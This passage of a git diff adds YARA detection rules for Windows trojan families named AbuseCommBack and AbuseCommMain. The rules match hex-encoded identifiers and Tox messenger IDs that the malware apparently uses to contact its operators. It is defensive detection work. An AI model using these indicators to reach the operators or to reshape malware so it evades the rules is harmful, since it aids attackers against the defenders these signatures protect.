41 00 36 00 33 00 45 00 45 00 45 00 38 00 30 00 31 00 35 00 38 00 34 00 30 00 44 00 33 00 37 00 45 00 36 00 30 00 37 00 42 00 34 00 41 00 35 00 35 00 38 00 45 00 38 00 44 00 44 00 45 00 43 00 43 00 42 00 43 00 37 00 38 00 33 00 35 00 37 00 32 00 36 00 42 00 3c 00 2f 00 70 00 3e 00 } //1

18ABE3218DA414FFE887EA63EEE8015840D37E607B4A558E8DDECCBC7835726B

+ $a_01_1 = {31 38 41 42 45 33 32 31 38 44 41 34 31 34 46 46 45 38 38 37 45 41 36 33 45 45 45 38 30 31 35 38 34 30 44 33 37 45 36 30 37 42 34 41 35 35 38 45 38 44 44 45 43 43 42 43 37 38 33 35 37 32 36 42 00 00 00 00 00 00 00 00 } //1 + $a_01_2 = {74 61 62 6c 65 69 64 31 38 41 42 45 33 32 31 38 44 41 34 31 34 46 46 45 38 38 37 45 41 36 33 45 45 45 38 30 31 35 38 34 30 44 33 37 45 36 30 37 42 34 41 35 35 38 45 38 44 44 45 43 43 42 43 37 38 33 35 37 32 36 42 69 64 } //1 tableid18ABE3218DA414FFE887EA63EEE8015840D37E607B4A558E8DDECCBC7835726Bid + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win64/AbuseCommBack/Trojan_Win64_AbuseCommBack_KH.yar b/Trojan/Win64/AbuseCommBack/Trojan_Win64_AbuseCommBack_KH.yar new file mode 100644 index 0000000000..9c377184f0 --- /dev/null +++ b/Trojan/Win64/AbuseCommBack/Trojan_Win64_AbuseCommBack_KH.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win64_AbuseCommBack_KH{ + meta: + description = "Trojan:Win64/AbuseCommBack.KH,SIGNATURE_TYPE_PEHSTR,01 00 01 00 03 00 00 " + + strings : + $a_01_0 = {3c 00 70 00 3e 00 30 00 45 00 37 00 32 00 34 00 35 00 36 00 44 00 46 00 43 00 36 00 34 00 31 00 44 00 30 00 46 00 30 00 30 00 34 00 33 00 44 00 45 00 42 00 44 00 32 00 46 00 34 00 33 00 37 00 37 00 35 00 35 00 30 00 30 00 41 00 34 00 45 00 30 00 34 00 43 00 45 00 34 00 39 00 37 00 44 00 45 00 43 00 36 00 44 00 39 00 36 00 42 00 36 00 33 00 46 00 34 00 35 00 44 00 32 00 44 00 45 00 46 00 33 00 43 00 3c 00 2f 00 70 00 3e 00 } //1

0E72456DFC641D0F0043DEBD2F43775500A4E04CE497DEC6D96B63F45D2DEF3C

+ $a_01_1 = {30 45 37 32 34 35 36 44 46 43 36 34 31 44 30 46 30 30 34 33 44 45 42 44 32 46 34 33 37 37 35 35 30 30 41 34 45 30 34 43 45 34 39 37 44 45 43 36 44 39 36 42 36 33 46 34 35 44 32 44 45 46 33 43 00 00 00 00 00 00 00 00 } //1 + $a_01_2 = {74 61 62 6c 65 69 64 30 45 37 32 34 35 36 44 46 43 36 34 31 44 30 46 30 30 34 33 44 45 42 44 32 46 34 33 37 37 35 35 30 30 41 34 45 30 34 43 45 34 39 37 44 45 43 36 44 39 36 42 36 33 46 34 35 44 32 44 45 46 33 43 69 64 } //1 tableid0E72456DFC641D0F0043DEBD2F43775500A4E04CE497DEC6D96B63F45D2DEF3Cid + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win64/AbuseCommBack/Trojan_Win64_AbuseCommBack_KI.yar b/Trojan/Win64/AbuseCommBack/Trojan_Win64_AbuseCommBack_KI.yar new file mode 100644 index 0000000000..304373c308 --- /dev/null +++ b/Trojan/Win64/AbuseCommBack/Trojan_Win64_AbuseCommBack_KI.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win64_AbuseCommBack_KI{ + meta: + description = "Trojan:Win64/AbuseCommBack.KI,SIGNATURE_TYPE_PEHSTR,01 00 01 00 03 00 00 " + + strings : + $a_01_0 = {3c 00 70 00 3e 00 32 00 45 00 33 00 46 00 41 00 32 00 36 00 31 00 37 00 45 00 36 00 39 00 39 00 32 00 45 00 37 00 39 00 36 00 39 00 34 00 41 00 41 00 37 00 44 00 45 00 34 00 33 00 35 00 45 00 31 00 32 00 31 00 31 00 33 00 35 00 38 00 38 00 35 00 38 00 41 00 30 00 33 00 39 00 35 00 32 00 33 00 46 00 35 00 30 00 44 00 45 00 35 00 36 00 32 00 33 00 45 00 32 00 44 00 41 00 37 00 36 00 36 00 35 00 42 00 3c 00 2f 00 70 00 3e 00 } //1

2E3FA2617E6992E79694AA7DE435E1211358858A039523F50DE5623E2DA7665B

+ $a_01_1 = {32 45 33 46 41 32 36 31 37 45 36 39 39 32 45 37 39 36 39 34 41 41 37 44 45 34 33 35 45 31 32 31 31 33 35 38 38 35 38 41 30 33 39 35 32 33 46 35 30 44 45 35 36 32 33 45 32 44 41 37 36 36 35 42 00 00 00 00 00 00 00 00 } //1 + $a_01_2 = {74 61 62 6c 65 69 64 32 45 33 46 41 32 36 31 37 45 36 39 39 32 45 37 39 36 39 34 41 41 37 44 45 34 33 35 45 31 32 31 31 33 35 38 38 35 38 41 30 33 39 35 32 33 46 35 30 44 45 35 36 32 33 45 32 44 41 37 36 36 35 42 69 64 } //1 tableid2E3FA2617E6992E79694AA7DE435E1211358858A039523F50DE5623E2DA7665Bid + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win64/AbuseCommBack/Trojan_Win64_AbuseCommBack_KJ.yar b/Trojan/Win64/AbuseCommBack/Trojan_Win64_AbuseCommBack_KJ.yar new file mode 100644 index 0000000000..7c3eecd1ac --- /dev/null +++ b/Trojan/Win64/AbuseCommBack/Trojan_Win64_AbuseCommBack_KJ.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win64_AbuseCommBack_KJ{ + meta: + description = "Trojan:Win64/AbuseCommBack.KJ,SIGNATURE_TYPE_PEHSTR,01 00 01 00 03 00 00 " + + strings : + $a_01_0 = {3c 00 70 00 3e 00 32 00 34 00 42 00 36 00 34 00 30 00 31 00 46 00 45 00 46 00 42 00 45 00 41 00 42 00 39 00 30 00 42 00 34 00 30 00 39 00 43 00 32 00 32 00 31 00 41 00 43 00 30 00 39 00 43 00 36 00 31 00 41 00 46 00 43 00 38 00 35 00 46 00 30 00 44 00 35 00 41 00 37 00 39 00 41 00 33 00 41 00 42 00 36 00 38 00 36 00 35 00 35 00 46 00 30 00 44 00 30 00 36 00 44 00 46 00 36 00 35 00 45 00 36 00 46 00 3c 00 2f 00 70 00 3e 00 } //1

24B6401FEFBEAB90B409C221AC09C61AFC85F0D5A79A3AB68655F0D06DF65E6F

+ $a_01_1 = {32 34 42 36 34 30 31 46 45 46 42 45 41 42 39 30 42 34 30 39 43 32 32 31 41 43 30 39 43 36 31 41 46 43 38 35 46 30 44 35 41 37 39 41 33 41 42 36 38 36 35 35 46 30 44 30 36 44 46 36 35 45 36 46 00 00 00 00 00 00 00 00 } //1 + $a_01_2 = {74 61 62 6c 65 69 64 32 34 42 36 34 30 31 46 45 46 42 45 41 42 39 30 42 34 30 39 43 32 32 31 41 43 30 39 43 36 31 41 46 43 38 35 46 30 44 35 41 37 39 41 33 41 42 36 38 36 35 35 46 30 44 30 36 44 46 36 35 45 36 46 69 64 } //1 tableid24B6401FEFBEAB90B409C221AC09C61AFC85F0D5A79A3AB68655F0D06DF65E6Fid + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win64/AbuseCommBack/Trojan_Win64_AbuseCommBack_KK.yar b/Trojan/Win64/AbuseCommBack/Trojan_Win64_AbuseCommBack_KK.yar new file mode 100644 index 0000000000..684e1199b1 --- /dev/null +++ b/Trojan/Win64/AbuseCommBack/Trojan_Win64_AbuseCommBack_KK.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win64_AbuseCommBack_KK{ + meta: + description = "Trojan:Win64/AbuseCommBack.KK,SIGNATURE_TYPE_PEHSTR,01 00 01 00 03 00 00 " + + strings : + $a_01_0 = {3c 00 70 00 3e 00 30 00 38 00 38 00 42 00 37 00 37 00 30 00 38 00 46 00 32 00 43 00 31 00 35 00 35 00 37 00 42 00 36 00 30 00 32 00 33 00 42 00 31 00 31 00 30 00 32 00 46 00 46 00 43 00 35 00 43 00 33 00 36 00 43 00 30 00 32 00 33 00 46 00 46 00 34 00 38 00 38 00 33 00 43 00 42 00 30 00 37 00 33 00 46 00 32 00 36 00 41 00 33 00 33 00 42 00 37 00 33 00 38 00 33 00 32 00 43 00 39 00 32 00 36 00 38 00 3c 00 2f 00 70 00 3e 00 } //1

088B7708F2C1557B6023B1102FFC5C36C023FF4883CB073F26A33B73832C9268

+ $a_01_1 = {30 38 38 42 37 37 30 38 46 32 43 31 35 35 37 42 36 30 32 33 42 31 31 30 32 46 46 43 35 43 33 36 43 30 32 33 46 46 34 38 38 33 43 42 30 37 33 46 32 36 41 33 33 42 37 33 38 33 32 43 39 32 36 38 00 00 00 00 00 00 00 00 } //1 + $a_01_2 = {74 61 62 6c 65 69 64 30 38 38 42 37 37 30 38 46 32 43 31 35 35 37 42 36 30 32 33 42 31 31 30 32 46 46 43 35 43 33 36 43 30 32 33 46 46 34 38 38 33 43 42 30 37 33 46 32 36 41 33 33 42 37 33 38 33 32 43 39 32 36 38 69 64 } //1 tableid088B7708F2C1557B6023B1102FFC5C36C023FF4883CB073F26A33B73832C9268id + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win64/AbuseCommBack/Trojan_Win64_AbuseCommBack_KL.yar b/Trojan/Win64/AbuseCommBack/Trojan_Win64_AbuseCommBack_KL.yar new file mode 100644 index 0000000000..6be8e7d8be --- /dev/null +++ b/Trojan/Win64/AbuseCommBack/Trojan_Win64_AbuseCommBack_KL.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win64_AbuseCommBack_KL{ + meta: + description = "Trojan:Win64/AbuseCommBack.KL,SIGNATURE_TYPE_PEHSTR,01 00 01 00 03 00 00 " + + strings : + $a_01_0 = {3c 00 70 00 3e 00 41 00 30 00 46 00 45 00 31 00 30 00 35 00 41 00 38 00 32 00 35 00 32 00 35 00 45 00 43 00 42 00 39 00 34 00 44 00 44 00 32 00 39 00 37 00 37 00 42 00 34 00 41 00 31 00 46 00 38 00 41 00 35 00 41 00 37 00 43 00 46 00 38 00 32 00 46 00 31 00 32 00 44 00 37 00 32 00 30 00 44 00 44 00 38 00 43 00 38 00 44 00 39 00 43 00 43 00 41 00 33 00 46 00 39 00 38 00 42 00 36 00 46 00 35 00 32 00 3c 00 2f 00 70 00 3e 00 } //1

A0FE105A82525ECB94DD2977B4A1F8A5A7CF82F12D720DD8C8D9CCA3F98B6F52

+ $a_01_1 = {41 30 46 45 31 30 35 41 38 32 35 32 35 45 43 42 39 34 44 44 32 39 37 37 42 34 41 31 46 38 41 35 41 37 43 46 38 32 46 31 32 44 37 32 30 44 44 38 43 38 44 39 43 43 41 33 46 39 38 42 36 46 35 32 00 00 00 00 00 00 00 00 } //1 + $a_01_2 = {74 61 62 6c 65 69 64 41 30 46 45 31 30 35 41 38 32 35 32 35 45 43 42 39 34 44 44 32 39 37 37 42 34 41 31 46 38 41 35 41 37 43 46 38 32 46 31 32 44 37 32 30 44 44 38 43 38 44 39 43 43 41 33 46 39 38 42 36 46 35 32 69 64 } //1 tableidA0FE105A82525ECB94DD2977B4A1F8A5A7CF82F12D720DD8C8D9CCA3F98B6F52id + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win64/AbuseCommBack/Trojan_Win64_AbuseCommBack_KM.yar b/Trojan/Win64/AbuseCommBack/Trojan_Win64_AbuseCommBack_KM.yar new file mode 100644 index 0000000000..db88af48a0 --- /dev/null +++ b/Trojan/Win64/AbuseCommBack/Trojan_Win64_AbuseCommBack_KM.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win64_AbuseCommBack_KM{ + meta: + description = "Trojan:Win64/AbuseCommBack.KM,SIGNATURE_TYPE_PEHSTR,01 00 01 00 03 00 00 " + + strings : + $a_01_0 = {3c 00 70 00 3e 00 33 00 38 00 32 00 30 00 43 00 34 00 30 00 34 00 30 00 34 00 36 00 38 00 34 00 46 00 46 00 44 00 34 00 34 00 39 00 36 00 43 00 41 00 31 00 44 00 41 00 32 00 46 00 36 00 30 00 38 00 33 00 37 00 34 00 45 00 36 00 30 00 44 00 31 00 45 00 41 00 34 00 36 00 32 00 38 00 32 00 39 00 36 00 44 00 32 00 41 00 44 00 31 00 43 00 33 00 31 00 46 00 45 00 37 00 38 00 37 00 45 00 45 00 34 00 46 00 3c 00 2f 00 70 00 3e 00 } //1

3820C40404684FFD4496CA1DA2F608374E60D1EA4628296D2AD1C31FE787EE4F

+ $a_01_1 = {33 38 32 30 43 34 30 34 30 34 36 38 34 46 46 44 34 34 39 36 43 41 31 44 41 32 46 36 30 38 33 37 34 45 36 30 44 31 45 41 34 36 32 38 32 39 36 44 32 41 44 31 43 33 31 46 45 37 38 37 45 45 34 46 00 00 00 00 00 00 00 00 } //1 + $a_01_2 = {74 61 62 6c 65 69 64 33 38 32 30 43 34 30 34 30 34 36 38 34 46 46 44 34 34 39 36 43 41 31 44 41 32 46 36 30 38 33 37 34 45 36 30 44 31 45 41 34 36 32 38 32 39 36 44 32 41 44 31 43 33 31 46 45 37 38 37 45 45 34 46 69 64 } //1 tableid3820C40404684FFD4496CA1DA2F608374E60D1EA4628296D2AD1C31FE787EE4Fid + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win64/AbuseCommBack/Trojan_Win64_AbuseCommBack_KN.yar b/Trojan/Win64/AbuseCommBack/Trojan_Win64_AbuseCommBack_KN.yar new file mode 100644 index 0000000000..fbc6576fb6 --- /dev/null +++ b/Trojan/Win64/AbuseCommBack/Trojan_Win64_AbuseCommBack_KN.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win64_AbuseCommBack_KN{ + meta: + description = "Trojan:Win64/AbuseCommBack.KN,SIGNATURE_TYPE_PEHSTR,01 00 01 00 03 00 00 " + + strings : + $a_01_0 = {3c 00 70 00 3e 00 33 00 32 00 31 00 43 00 44 00 38 00 45 00 36 00 35 00 45 00 46 00 33 00 38 00 41 00 42 00 45 00 45 00 45 00 45 00 31 00 39 00 30 00 41 00 36 00 35 00 33 00 30 00 37 00 42 00 34 00 37 00 41 00 43 00 38 00 30 00 44 00 30 00 38 00 38 00 43 00 41 00 44 00 37 00 31 00 31 00 30 00 45 00 45 00 38 00 42 00 32 00 37 00 30 00 38 00 45 00 34 00 33 00 31 00 35 00 30 00 33 00 31 00 32 00 42 00 3c 00 2f 00 70 00 3e 00 } //1

321CD8E65EF38ABEEEE190A65307B47AC80D088CAD7110EE8B2708E43150312B

+ $a_01_1 = {33 32 31 43 44 38 45 36 35 45 46 33 38 41 42 45 45 45 45 31 39 30 41 36 35 33 30 37 42 34 37 41 43 38 30 44 30 38 38 43 41 44 37 31 31 30 45 45 38 42 32 37 30 38 45 34 33 31 35 30 33 31 32 42 00 00 00 00 00 00 00 00 } //1 + $a_01_2 = {74 61 62 6c 65 69 64 33 32 31 43 44 38 45 36 35 45 46 33 38 41 42 45 45 45 45 31 39 30 41 36 35 33 30 37 42 34 37 41 43 38 30 44 30 38 38 43 41 44 37 31 31 30 45 45 38 42 32 37 30 38 45 34 33 31 35 30 33 31 32 42 69 64 } //1 tableid321CD8E65EF38ABEEEE190A65307B47AC80D088CAD7110EE8B2708E43150312Bid + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win64/AbuseCommBack/Trojan_Win64_AbuseCommBack_KO.yar b/Trojan/Win64/AbuseCommBack/Trojan_Win64_AbuseCommBack_KO.yar new file mode 100644 index 0000000000..2a13f6767b --- /dev/null +++ b/Trojan/Win64/AbuseCommBack/Trojan_Win64_AbuseCommBack_KO.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win64_AbuseCommBack_KO{ + meta: + description = "Trojan:Win64/AbuseCommBack.KO,SIGNATURE_TYPE_PEHSTR,01 00 01 00 03 00 00 " + + strings : + $a_01_0 = {3c 00 70 00 3e 00 38 00 34 00 34 00 39 00 30 00 31 00 35 00 32 00 45 00 39 00 39 00 42 00 39 00 45 00 43 00 34 00 42 00 43 00 46 00 45 00 31 00 36 00 30 00 38 00 30 00 41 00 46 00 43 00 46 00 44 00 36 00 46 00 44 00 43 00 44 00 38 00 37 00 35 00 31 00 32 00 30 00 32 00 37 00 45 00 38 00 35 00 44 00 42 00 33 00 31 00 38 00 46 00 37 00 42 00 33 00 34 00 34 00 30 00 39 00 38 00 32 00 36 00 33 00 37 00 3c 00 2f 00 70 00 3e 00 } //1

84490152E99B9EC4BCFE16080AFCFD6FDCD87512027E85DB318F7B3440982637

+ $a_01_1 = {38 34 34 39 30 31 35 32 45 39 39 42 39 45 43 34 42 43 46 45 31 36 30 38 30 41 46 43 46 44 36 46 44 43 44 38 37 35 31 32 30 32 37 45 38 35 44 42 33 31 38 46 37 42 33 34 34 30 39 38 32 36 33 37 00 00 00 00 00 00 00 00 } //1 + $a_01_2 = {74 61 62 6c 65 69 64 38 34 34 39 30 31 35 32 45 39 39 42 39 45 43 34 42 43 46 45 31 36 30 38 30 41 46 43 46 44 36 46 44 43 44 38 37 35 31 32 30 32 37 45 38 35 44 42 33 31 38 46 37 42 33 34 34 30 39 38 32 36 33 37 69 64 } //1 tableid84490152E99B9EC4BCFE16080AFCFD6FDCD87512027E85DB318F7B3440982637id + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win64/AbuseCommMain/Trojan_Win64_AbuseCommMain_JL.yar b/Trojan/Win64/AbuseCommMain/Trojan_Win64_AbuseCommMain_JL.yar new file mode 100644 index 0000000000..ca1a783e34 --- /dev/null +++ b/Trojan/Win64/AbuseCommMain/Trojan_Win64_AbuseCommMain_JL.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win64_AbuseCommMain_JL{ + meta: + description = "Trojan:Win64/AbuseCommMain.JL,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 00 " + + strings : + $a_00_0 = {74 00 6f 00 78 00 3a 00 30 00 43 00 38 00 45 00 35 00 42 00 34 00 35 00 43 00 35 00 37 00 41 00 45 00 32 00 34 00 34 00 45 00 39 00 43 00 39 00 30 00 34 00 43 00 35 00 42 00 43 00 37 00 34 00 46 00 37 00 33 00 33 00 30 00 36 00 39 00 33 00 37 00 34 00 36 00 39 00 44 00 39 00 43 00 45 00 41 00 32 00 32 00 35 00 34 00 31 00 43 00 41 00 36 00 39 00 41 00 43 00 31 00 36 00 32 00 42 00 38 00 44 00 34 00 32 00 } //1 tox:0C8E5B45C57AE244E9C904C5BC74F73306937469D9CEA22541CA69AC162B8D42 + $a_02_1 = {30 43 38 45 35 42 34 35 43 35 37 41 45 32 34 34 45 39 43 39 30 34 43 35 42 43 37 34 46 37 33 33 30 36 39 33 37 34 36 39 44 39 43 45 41 32 32 35 34 31 43 41 36 39 41 43 31 36 32 42 38 44 34 32 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 4c 00 00 00 00 00 00 00 } //1 + $a_02_2 = {30 43 38 45 35 42 34 35 43 35 37 41 45 32 34 34 45 39 43 39 30 34 43 35 42 43 37 34 46 37 33 33 30 36 39 33 37 34 36 39 44 39 43 45 41 32 32 35 34 31 43 41 36 39 41 43 31 36 32 42 38 44 34 32 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 4c 00 00 00 } //1 + $a_00_3 = {5c 74 6f 78 5c 30 43 38 45 35 42 34 35 43 35 37 41 45 32 34 34 45 39 43 39 30 34 43 35 42 43 37 34 46 37 33 33 30 36 39 33 37 34 36 39 44 39 43 45 41 32 32 35 34 31 43 41 36 39 41 43 31 36 32 42 38 44 34 32 2e 68 73 74 72 } //1 \tox\0C8E5B45C57AE244E9C904C5BC74F73306937469D9CEA22541CA69AC162B8D42.hstr + condition: + ((#a_00_0 & 1)*1+(#a_02_1 & 1)*1+(#a_02_2 & 1)*1+(#a_00_3 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win64/AbuseCommMain/Trojan_Win64_AbuseCommMain_JM.yar b/Trojan/Win64/AbuseCommMain/Trojan_Win64_AbuseCommMain_JM.yar new file mode 100644 index 0000000000..f642e9380d --- /dev/null +++ b/Trojan/Win64/AbuseCommMain/Trojan_Win64_AbuseCommMain_JM.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win64_AbuseCommMain_JM{ + meta: + description = "Trojan:Win64/AbuseCommMain.JM,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 00 " + + strings : + $a_00_0 = {74 00 6f 00 78 00 3a 00 45 00 38 00 34 00 38 00 31 00 42 00 36 00 45 00 31 00 34 00 39 00 38 00 36 00 32 00 45 00 45 00 45 00 41 00 37 00 39 00 36 00 36 00 38 00 45 00 42 00 42 00 43 00 35 00 30 00 42 00 39 00 36 00 41 00 36 00 42 00 36 00 35 00 32 00 39 00 43 00 35 00 44 00 44 00 44 00 39 00 30 00 35 00 34 00 39 00 31 00 45 00 32 00 46 00 38 00 33 00 38 00 45 00 46 00 37 00 44 00 31 00 37 00 34 00 46 00 } //1 tox:E8481B6E149862EEEA79668EBBC50B96A6B6529C5DDD905491E2F838EF7D174F + $a_02_1 = {45 38 34 38 31 42 36 45 31 34 39 38 36 32 45 45 45 41 37 39 36 36 38 45 42 42 43 35 30 42 39 36 41 36 42 36 35 32 39 43 35 44 44 44 39 30 35 34 39 31 45 32 46 38 33 38 45 46 37 44 31 37 34 46 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 4c 00 00 00 00 00 00 00 } //1 + $a_02_2 = {45 38 34 38 31 42 36 45 31 34 39 38 36 32 45 45 45 41 37 39 36 36 38 45 42 42 43 35 30 42 39 36 41 36 42 36 35 32 39 43 35 44 44 44 39 30 35 34 39 31 45 32 46 38 33 38 45 46 37 44 31 37 34 46 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 4c 00 00 00 } //1 + $a_00_3 = {5c 74 6f 78 5c 45 38 34 38 31 42 36 45 31 34 39 38 36 32 45 45 45 41 37 39 36 36 38 45 42 42 43 35 30 42 39 36 41 36 42 36 35 32 39 43 35 44 44 44 39 30 35 34 39 31 45 32 46 38 33 38 45 46 37 44 31 37 34 46 2e 68 73 74 72 } //1 \tox\E8481B6E149862EEEA79668EBBC50B96A6B6529C5DDD905491E2F838EF7D174F.hstr + condition: + ((#a_00_0 & 1)*1+(#a_02_1 & 1)*1+(#a_02_2 & 1)*1+(#a_00_3 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win64/AbuseCommMain/Trojan_Win64_AbuseCommMain_JN.yar b/Trojan/Win64/AbuseCommMain/Trojan_Win64_AbuseCommMain_JN.yar new file mode 100644 index 0000000000..897b819fad --- /dev/null +++ b/Trojan/Win64/AbuseCommMain/Trojan_Win64_AbuseCommMain_JN.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win64_AbuseCommMain_JN{ + meta: + description = "Trojan:Win64/AbuseCommMain.JN,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 00 " + + strings : + $a_00_0 = {74 00 6f 00 78 00 3a 00 39 00 44 00 39 00 37 00 46 00 31 00 36 00 36 00 37 00 33 00 30 00 46 00 38 00 36 00 35 00 46 00 37 00 39 00 33 00 45 00 32 00 45 00 41 00 30 00 37 00 42 00 31 00 37 00 33 00 43 00 37 00 34 00 32 00 41 00 36 00 33 00 30 00 32 00 38 00 37 00 39 00 44 00 45 00 31 00 42 00 30 00 42 00 42 00 42 00 30 00 33 00 38 00 31 00 37 00 41 00 35 00 41 00 30 00 34 00 42 00 35 00 37 00 32 00 46 00 } //1 tox:9D97F166730F865F793E2EA07B173C742A6302879DE1B0BBB03817A5A04B572F + $a_02_1 = {39 44 39 37 46 31 36 36 37 33 30 46 38 36 35 46 37 39 33 45 32 45 41 30 37 42 31 37 33 43 37 34 32 41 36 33 30 32 38 37 39 44 45 31 42 30 42 42 42 30 33 38 31 37 41 35 41 30 34 42 35 37 32 46 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 4c 00 00 00 00 00 00 00 } //1 + $a_02_2 = {39 44 39 37 46 31 36 36 37 33 30 46 38 36 35 46 37 39 33 45 32 45 41 30 37 42 31 37 33 43 37 34 32 41 36 33 30 32 38 37 39 44 45 31 42 30 42 42 42 30 33 38 31 37 41 35 41 30 34 42 35 37 32 46 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 4c 00 00 00 } //1 + $a_00_3 = {5c 74 6f 78 5c 39 44 39 37 46 31 36 36 37 33 30 46 38 36 35 46 37 39 33 45 32 45 41 30 37 42 31 37 33 43 37 34 32 41 36 33 30 32 38 37 39 44 45 31 42 30 42 42 42 30 33 38 31 37 41 35 41 30 34 42 35 37 32 46 2e 68 73 74 72 } //1 \tox\9D97F166730F865F793E2EA07B173C742A6302879DE1B0BBB03817A5A04B572F.hstr + condition: + ((#a_00_0 & 1)*1+(#a_02_1 & 1)*1+(#a_02_2 & 1)*1+(#a_00_3 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win64/AbuseCommMain/Trojan_Win64_AbuseCommMain_JO.yar b/Trojan/Win64/AbuseCommMain/Trojan_Win64_AbuseCommMain_JO.yar new file mode 100644 index 0000000000..2b3394629e --- /dev/null +++ b/Trojan/Win64/AbuseCommMain/Trojan_Win64_AbuseCommMain_JO.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win64_AbuseCommMain_JO{ + meta: + description = "Trojan:Win64/AbuseCommMain.JO,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 00 " + + strings : + $a_00_0 = {74 00 6f 00 78 00 3a 00 42 00 42 00 46 00 37 00 37 00 46 00 30 00 34 00 36 00 31 00 41 00 45 00 45 00 31 00 35 00 31 00 35 00 32 00 39 00 45 00 43 00 37 00 37 00 46 00 42 00 46 00 44 00 33 00 38 00 44 00 35 00 38 00 31 00 38 00 41 00 41 00 45 00 44 00 31 00 44 00 43 00 36 00 41 00 39 00 45 00 36 00 41 00 44 00 36 00 35 00 44 00 39 00 36 00 37 00 31 00 37 00 34 00 35 00 33 00 42 00 37 00 39 00 32 00 31 00 } //1 tox:BBF77F0461AEE151529EC77FBFD38D5818AAED1DC6A9E6AD65D96717453B7921 + $a_02_1 = {42 42 46 37 37 46 30 34 36 31 41 45 45 31 35 31 35 32 39 45 43 37 37 46 42 46 44 33 38 44 35 38 31 38 41 41 45 44 31 44 43 36 41 39 45 36 41 44 36 35 44 39 36 37 31 37 34 35 33 42 37 39 32 31 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 4c 00 00 00 00 00 00 00 } //1 + $a_02_2 = {42 42 46 37 37 46 30 34 36 31 41 45 45 31 35 31 35 32 39 45 43 37 37 46 42 46 44 33 38 44 35 38 31 38 41 41 45 44 31 44 43 36 41 39 45 36 41 44 36 35 44 39 36 37 31 37 34 35 33 42 37 39 32 31 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 4c 00 00 00 } //1 + $a_00_3 = {5c 74 6f 78 5c 42 42 46 37 37 46 30 34 36 31 41 45 45 31 35 31 35 32 39 45 43 37 37 46 42 46 44 33 38 44 35 38 31 38 41 41 45 44 31 44 43 36 41 39 45 36 41 44 36 35 44 39 36 37 31 37 34 35 33 42 37 39 32 31 2e 68 73 74 72 } //1 \tox\BBF77F0461AEE151529EC77FBFD38D5818AAED1DC6A9E6AD65D96717453B7921.hstr + condition: + ((#a_00_0 & 1)*1+(#a_02_1 & 1)*1+(#a_02_2 & 1)*1+(#a_00_3 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win64/AbuseCommMain/Trojan_Win64_AbuseCommMain_JP.yar b/Trojan/Win64/AbuseCommMain/Trojan_Win64_AbuseCommMain_JP.yar new file mode 100644 index 0000000000..0eeb41df60 --- /dev/null +++ b/Trojan/Win64/AbuseCommMain/Trojan_Win64_AbuseCommMain_JP.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win64_AbuseCommMain_JP{ + meta: + description = "Trojan:Win64/AbuseCommMain.JP,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 00 " + + strings : + $a_00_0 = {74 00 6f 00 78 00 3a 00 36 00 34 00 34 00 44 00 38 00 34 00 31 00 36 00 45 00 31 00 36 00 39 00 35 00 44 00 43 00 39 00 38 00 35 00 39 00 33 00 44 00 46 00 42 00 35 00 45 00 35 00 35 00 43 00 46 00 35 00 30 00 46 00 32 00 30 00 39 00 33 00 32 00 37 00 36 00 36 00 35 00 44 00 32 00 38 00 36 00 35 00 35 00 31 00 36 00 34 00 35 00 31 00 31 00 45 00 32 00 34 00 38 00 32 00 44 00 30 00 46 00 38 00 30 00 42 00 } //1 tox:644D8416E1695DC98593DFB5E55CF50F209327665D28655164511E2482D0F80B + $a_02_1 = {36 34 34 44 38 34 31 